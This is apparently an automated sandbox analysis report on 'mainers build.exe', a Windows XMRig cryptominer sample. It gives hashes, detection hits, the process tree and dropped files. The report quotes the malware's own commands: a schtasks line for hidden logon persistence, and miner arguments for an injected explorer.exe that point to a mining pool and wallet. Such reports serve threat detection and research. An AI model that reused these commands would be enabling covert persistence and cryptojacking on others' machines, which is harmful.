xmrig | b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e | Triage

Resubmissions

26-06-2024 00:09

240626-afk9qsvdlm 10

26-06-2024 00:08

240626-afcmlavdkq 10

26-06-2024 00:07

240626-aejdrasbpd 10

26-06-2024 00:07

240626-aec7qssbnf 10

26-06-2024 00:06

240626-ad5wcssbmg 10

26-06-2024 00:06

240626-adxvravcml 10

26-06-2024 00:04

240626-acvn1asaqh 10

26-06-2024 00:04

240626-ackh2asape 10

26-06-2024 00:03

240626-ab5sksvblp 10

Analysis

max time kernel
2688s
max time network
2700s
platform
windows11-21h2_x64
resource
win11-20240611-en
resource tags

arch:x64arch:x86image:win11-20240611-enlocale:en-usos:windows11-21h2-x64system
submitted
26-06-2024 00:08

Sharing

Report Analysis Logs

General

Target

mainers build.exe
Size

29.7MB
MD5

b93dd3965c81ec30c91ac4b16d56a7b5
SHA1

6061c84646ce64812a87753ecbd96681e29bfb2c
SHA256

b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e
SHA512

cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e
SSDEEP

786432:dQm2AnqisnglHxrW4jZ+cjyDmBOuOtkQupv6RN:eaqi0iHxq4tjysOtBr

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 10 IoCs

resource	yara_rule
behavioral1/memory/2336-26-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2336-28-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2336-31-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2336-33-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2336-32-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2336-30-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2336-34-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2336-37-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2336-38-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral1/memory/2336-39-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Executes dropped EXE 2 IoCs

pid	Process
4600	services64.exe
4204	sihost64.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 5052 set thread context of 2336	5052	conhost.exe	88

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
5004	schtasks.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2328	conhost.exe
5052	conhost.exe
5052	conhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2328	conhost.exe
Token: SeDebugPrivilege	5052	conhost.exe
Token: SeLockMemoryPrivilege	2336	explorer.exe
Token: SeLockMemoryPrivilege	2336	explorer.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4888 wrote to memory of 2328	4888	mainers build.exe	78
PID 4888 wrote to memory of 2328	4888	mainers build.exe	78
PID 4888 wrote to memory of 2328	4888	mainers build.exe	78
PID 2328 wrote to memory of 2072	2328	conhost.exe	80
PID 2328 wrote to memory of 2072	2328	conhost.exe	80
PID 2072 wrote to memory of 5004	2072	cmd.exe	82
PID 2072 wrote to memory of 5004	2072	cmd.exe	82
PID 2328 wrote to memory of 4128	2328	conhost.exe	83
PID 2328 wrote to memory of 4128	2328	conhost.exe	83
PID 4128 wrote to memory of 4600	4128	cmd.exe	85
PID 4128 wrote to memory of 4600	4128	cmd.exe	85
PID 4600 wrote to memory of 5052	4600	services64.exe	86
PID 4600 wrote to memory of 5052	4600	services64.exe	86
PID 4600 wrote to memory of 5052	4600	services64.exe	86
PID 5052 wrote to memory of 4204	5052	conhost.exe	87
PID 5052 wrote to memory of 4204	5052	conhost.exe	87
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 5052 wrote to memory of 2336	5052	conhost.exe	88
PID 4204 wrote to memory of 2028	4204	sihost64.exe	89
PID 4204 wrote to memory of 2028	4204	sihost64.exe	89
PID 4204 wrote to memory of 2028	4204	sihost64.exe	89

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\mainers build.exe
"C:\Users\Admin\AppData\Local\Temp\mainers build.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4888
- C:\Windows\System32\conhost.exe
  "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\mainers build.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2328
- - C:\Windows\System32\cmd.exe
    "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2072
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr "C:\Users\Admin\AppData\Roaming\services64.exe"
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:5004
- - C:\Windows\System32\cmd.exe
    "cmd" cmd /c "C:\Users\Admin\AppData\Roaming\services64.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4128
  - - C:\Users\Admin\AppData\Roaming\services64.exe
      C:\Users\Admin\AppData\Roaming\services64.exe
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4600
    - - C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Roaming\services64.exe"
        5⤵
        Suspicious use of SetThreadContext
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:5052
      - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:4204
        
        C:\Windows\System32\conhost.exe
        
        "C:\Windows\System32\conhost.exe" "/sihost64"
        7⤵
        
        PID:2028
      - C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:443 --user=49uDLq2aoTjRxqrxdYYZG8A3ZGcLbH2E3BdwpD5UASiEhBnSZ7ERBhqJ768MaBCEGb2tQRCy4m37PEzTjW1MjNF3GEecTzC --pass= --cpu-max-threads-hint=40 --cinit-idle-wait=2 --cinit-idle-cpu=80 --tls
        6⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2336

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Scheduled Task

Persistence

Scheduled Task/Job

Scheduled Task

Privilege Escalation

Scheduled Task/Job

Scheduled Task

Defense Evasion

Credential Access

Discovery

Query Registry

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\conhost.exe.log

Filesize
646B

MD5
77c55532f6106f9f01c86aac8ad7d486

SHA1
6083606a4db53d5b82f62441b749be6c7812d15a

SHA256
ffc096d92c2eaddfcfd323d54f3e1f6e916d05db3d0402ec28548cdf35ad6e8d

SHA512
dcb680b4205411eee8aadf3f9fbaf4aeea0e2a5216e4812abf96c9f71a19805088e5dd3adf784a66ad6ca0989279da405920e3c1e82b9fb4d12dae1762ebeb8e

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
31KB

MD5
523b0b07998159ef63cae05147cda63a

SHA1
382de578dbff037b4331829c9347222e409e026e

SHA256
354628b91439e1bdb39992e6c24796312da01fd833e27466f1c2270bcb3acb1e

SHA512
091126ab76a059c2d3b5084112e4c85eb8250e045b6cfee0ea8b47d01b4222a43138e003b8b9504734960f175281b138db4bb44668eae35bfa7270d417a5a7db

Download Submit
C:\Users\Admin\AppData\Roaming\services64.exe

Filesize
29.7MB

MD5
b93dd3965c81ec30c91ac4b16d56a7b5

SHA1
6061c84646ce64812a87753ecbd96681e29bfb2c

SHA256
b46117fca9eb151c97c18031bcbef64049c3f01ab0f27c3b1126dc3b00bdf89e

SHA512
cbe3ecf658c4c117a5d40b5f748e4b452ac756acf5d848cfb997747947b50b55a13986bda28b7a96b31932af70ebe00caa1daefb3a1c42b37a46048a0417190e

Download Submit
memory/2028-36-0x000001FACA940000-0x000001FACA946000-memory.dmp

Filesize
24KB

Download
memory/2028-35-0x000001FAC8DC0000-0x000001FAC8DC6000-memory.dmp

Filesize
24KB

Download
memory/2328-3-0x00000130F1BB0000-0x00000130F396E000-memory.dmp

Filesize
29.7MB

Download
memory/2328-6-0x00007FFB7B2A0000-0x00007FFB7BD62000-memory.dmp

Filesize
10.8MB

Download
memory/2328-7-0x00007FFB7B2A0000-0x00007FFB7BD62000-memory.dmp

Filesize
10.8MB

Download
memory/2328-11-0x00007FFB7B2A0000-0x00007FFB7BD62000-memory.dmp

Filesize
10.8MB

Download
memory/2328-5-0x00000130EF460000-0x00000130EF46A000-memory.dmp

Filesize
40KB

Download
memory/2328-4-0x00000130EF430000-0x00000130EF442000-memory.dmp

Filesize
72KB

Download
memory/2328-1-0x00000130EF3D0000-0x00000130EF3E0000-memory.dmp

Filesize
64KB

Download
memory/2328-0-0x00000130E9D10000-0x00000130EBACE000-memory.dmp

Filesize
29.7MB

Download
memory/2328-2-0x00007FFB7B2A3000-0x00007FFB7B2A5000-memory.dmp

Filesize
8KB

Download
memory/2336-29-0x0000000002660000-0x0000000002680000-memory.dmp

Filesize
128KB

Download
memory/2336-31-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2336-33-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2336-32-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2336-30-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2336-34-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2336-28-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2336-26-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2336-37-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2336-38-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/2336-39-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download